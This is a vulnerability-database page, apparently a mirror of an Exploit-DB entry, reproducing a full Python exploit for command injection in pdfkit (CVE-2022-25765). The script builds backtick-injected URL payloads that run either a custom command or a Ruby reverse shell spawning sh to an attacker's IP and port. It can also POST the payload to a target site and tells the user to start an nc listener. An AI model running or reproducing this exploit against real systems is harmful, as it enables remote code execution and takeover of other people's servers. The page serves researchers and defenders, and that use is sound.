Lucene search
K

pdfkit v0.8.7.2 - Command Injection

🗓️ 06 Apr 2023 00:00:00Reported by UNICORDType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 358 Views

pdfkit v0.8.7.2 - Command Injection vulnerabilit

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for CVE-2022-25765
31 May 202616:05
githubexploit
GithubExploit
Exploit for CVE-2022-25765
11 Dec 202523:13
githubexploit
GithubExploit
Exploit for CVE-2022-25765
29 Jan 202310:36
githubexploit
GithubExploit
Exploit for CVE-2022-25765
11 Dec 202214:02
githubexploit
GithubExploit
Exploit for CVE-2022-25765
10 Feb 202300:50
githubexploit
GithubExploit
Exploit for CVE-2022-25765
4 Dec 202221:00
githubexploit
GithubExploit
Exploit for CVE-2022-25765
22 Jan 202414:45
githubexploit
0day.today
pdfkit v0.8.7.2 - Command Injection Exploit
6 Apr 202300:00
zdt
ATTACKERKB
CVE-2022-25765
9 Sep 202205:00
attackerkb
Circl
CVE-2022-25765
4 Dec 202221:05
circl
Rows per page
#!/usr/bin/env python3
# Exploit Title: pdfkit v0.8.7.2 - Command Injection
# Date: 02/23/2023
# Exploit Author: UNICORD (NicPWNs & Dev-Yeoj)
# Vendor Homepage: https://pdfkit.org/
# Software Link: https://github.com/pdfkit/pdfkit
# Version: 0.0.0-0.8.7.2
# Tested on: pdfkit 0.8.6
# CVE: CVE-2022–25765
# Source: https://github.com/UNICORDev/exploit-CVE-2022-25765
# Description: The package pdfkit from 0.0.0 are vulnerable to Command Injection where the URL is not properly sanitized.

# Imports
import time
import sys
import requests
from urllib.parse import quote


class color:
    red = '\033[91m'
    gold = '\033[93m'
    blue = '\033[36m'
    green = '\033[92m'
    no = '\033[0m'


# Print UNICORD ASCII Art
def UNICORD_ASCII():
    print(rf"""
{color.red}        _ __,~~~{color.gold}/{color.red}_{color.no}        {color.blue}__  ___  _______________  ___  ___{color.no}
{color.red}    ,~~`( )_( )-\|       {color.blue}/ / / / |/ /  _/ ___/ __ \/ _ \/ _ \{color.no}
{color.red}        |/|  `--.       {color.blue}/ /_/ /    // // /__/ /_/ / , _/ // /{color.no}
{color.green}_V__v___{color.red}!{color.green}_{color.red}!{color.green}__{color.red}!{color.green}_____V____{color.blue}\____/_/|_/___/\___/\____/_/|_/____/{color.green}....{color.no}
    """)


# Print exploit help menu
def help():
    print(r"""UNICORD Exploit for CVE-2022–25765 (pdfkit) - Command Injection

Usage:
  python3 exploit-CVE-2022–25765.py -c <command>
  python3 exploit-CVE-2022–25765.py -s <local-IP> <local-port>
  python3 exploit-CVE-2022–25765.py -c <command> [-w <http://target.com/index.html> -p <parameter>]
  python3 exploit-CVE-2022–25765.py -s <local-IP> <local-port> [-w <http://target.com/index.html> -p <parameter>]
  python3 exploit-CVE-2022–25765.py -h

Options:
  -c    Custom command mode. Provide command to generate custom payload with.
  -s    Reverse shell mode. Provide local IP and port to generate reverse shell payload with.
  -w    URL of website running vulnerable pdfkit. (Optional)
  -p    POST parameter on website running vulnerable pdfkit. (Optional)
  -h    Show this help menu.
""")
    exit()


def loading(spins):

    def spinning_cursor():
        while True:
            for cursor in '|/-\\':
                yield cursor

    spinner = spinning_cursor()
    for _ in range(spins):
        sys.stdout.write(next(spinner))
        sys.stdout.flush()
        time.sleep(0.1)
        sys.stdout.write('\b')


# Run the exploit
def exploit(payload, exploitMode, postArg):

    UNICORD_ASCII()

    print(f"{color.blue}UNICORD: {color.red}Exploit for CVE-2022–25765 (pdfkit) - Command Injection{color.no}")
    loading(15)
    print(f"{color.blue}OPTIONS: {color.gold}{modes[exploitMode]}{color.no}")
    print(f"{color.blue}PAYLOAD: {color.gold}" + payload + f"{color.no}")

    if "web" in exploitMode:
        if exploitMode == "webcommand":
            print(
                f"{color.blue}WARNING: {color.gold}Wrap custom command in \"quotes\" if it has spaces.{color.no}")
        else:
            print(
                f"{color.blue}LOCALIP: {color.gold}{listenIP}:{listenPort}{color.no}")
            print(
                f"{color.blue}WARNING: {color.gold}Be sure to start a local listener on the above IP and port. \"nc -lnvp {listenPort}\".{color.no}")
        print(f"{color.blue}WEBSITE: {color.gold}{website}{color.no}")
        print(f"{color.blue}POSTARG: {color.gold}{postArg}{color.no}")
        if "http" not in website:
            print(
                f"{color.blue}ERRORED: {color.red}Make sure website has schema! Like \"http://\".{color.no}")
            exit()
        postArg = postArg + "=" + quote(payload, safe="")
        try:
            response = requests.post(website, postArg)
        except:
            print(
                f"{color.blue}ERRORED: {color.red}Couldn't connect to website!{color.no}")
            exit()
        loading(15)
        print(f"{color.blue}EXPLOIT: {color.gold}Payload sent to website!{color.no}")
        loading(15)
        print(f"{color.blue}SUCCESS: {color.green}Exploit performed action.{color.no}")
    elif exploitMode == "command":
        print(f"{color.blue}WARNING: {color.gold}Wrap custom command in \"quotes\" if it has spaces.{color.no}")
        loading(15)
        print(
            f"{color.blue}EXPLOIT: {color.green}Copy the payload above into a PDFKit.new().to_pdf Ruby function or any application running vulnerable pdfkit.{color.no}")
    elif exploitMode == "shell":
        print(f"{color.blue}LOCALIP: {color.gold}{listenIP}:{listenPort}{color.no}")
        print(f"{color.blue}WARNING: {color.gold}Be sure to start a local listener on the above IP and port.{color.no}")
        loading(15)
        print(
            f"{color.blue}EXPLOIT: {color.green}Copy the payload above into a PDFKit.new().to_pdf Ruby function or any application running vulnerable pdfkit.{color.no}")

    exit()


if __name__ == "__main__":

    args = ['-h', '-c', '-s', '-w', '-p']
    modes = {'command': 'Custom Command Mode',
             'shell': 'Reverse Shell Mode',
             'webcommand': 'Custom Command Send to Target Website Mode',
             'webshell': 'Reverse Shell Sent to Target Website Mode'}
    postArg = "url"

    if args[0] in sys.argv:
        help()
    elif args[1] in sys.argv and not args[2] in sys.argv:
        try:
            if sys.argv[sys.argv.index(args[1]) + 1] in args:
                raise
            command = sys.argv[sys.argv.index(args[1]) + 1]
        except:
            print(
                f"{color.blue}ERRORED: {color.red}Provide a custom command! \"-c <command>\"{color.no}")
            exit()
        payload = f"http://%20`{command}`"
        mode = "command"
    elif args[2] in sys.argv and not args[1] in sys.argv:
        try:
            if "-" in sys.argv[sys.argv.index(args[2]) + 1]:
                raise
            listenIP = sys.argv[sys.argv.index(args[2]) + 1]
        except:
            print(
                f"{color.blue}ERRORED: {color.red}Provide a target and port! \"-s <target-IP> <target-port>\"{color.no}")
            exit()
        try:
            if "-" in sys.argv[sys.argv.index(args[2]) + 2]:
                raise
            listenPort = sys.argv[sys.argv.index(args[2]) + 2]
        except:
            print(
                f"{color.blue}ERRORED: {color.red}Provide a target port! \"-t <target-IP> <target-port>\"{color.no}")
            exit()
        payload = f"http://%20`ruby -rsocket -e'spawn(\"sh\",[:in,:out,:err]=>TCPSocket.new(\"{str(listenIP)}\",\"{str(listenPort)}\"))'`"
        mode = "shell"
    else:
        help()

    if args[3] in sys.argv and args[4] in sys.argv:
        try:
            if "-" in sys.argv[sys.argv.index(args[3]) + 1] and len(sys.argv[sys.argv.index(args[3]) + 1]) == 2:
                raise
            website = sys.argv[sys.argv.index(args[3]) + 1]
            mode = "web" + mode
        except:
            print(
                f"{color.blue}ERRORED: {color.red}Provide a target site and post parameter! \"-w <http://target.com/index.html> -p <parameter>\"{color.no}")
            exit()
        try:
            if "-" in sys.argv[sys.argv.index(args[4]) + 1] and len(sys.argv[sys.argv.index(args[4]) + 1]) == 2:
                raise
            postArg = sys.argv[sys.argv.index(args[4]) + 1]
        except:
            print(
                f"{color.blue}ERRORED: {color.red}Provide a target site and post parameter! \"-w <http://target.com/index.html> -p <parameter>\"{color.no}")
            exit()
    elif args[3] in sys.argv or args[4] in sys.argv:
        print(
            f"{color.blue}ERRORED: {color.red}Provide a target site and post parameter! \"-w <http://target.com/index.html> -p <parameter>\"{color.no}")
        exit()

    exploit(payload, mode, postArg)

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

06 Apr 2023 00:00Current
9.5High risk
Vulners AI Score9.5
CVSS 3.17.3 - 9.8
EPSS0.88767
358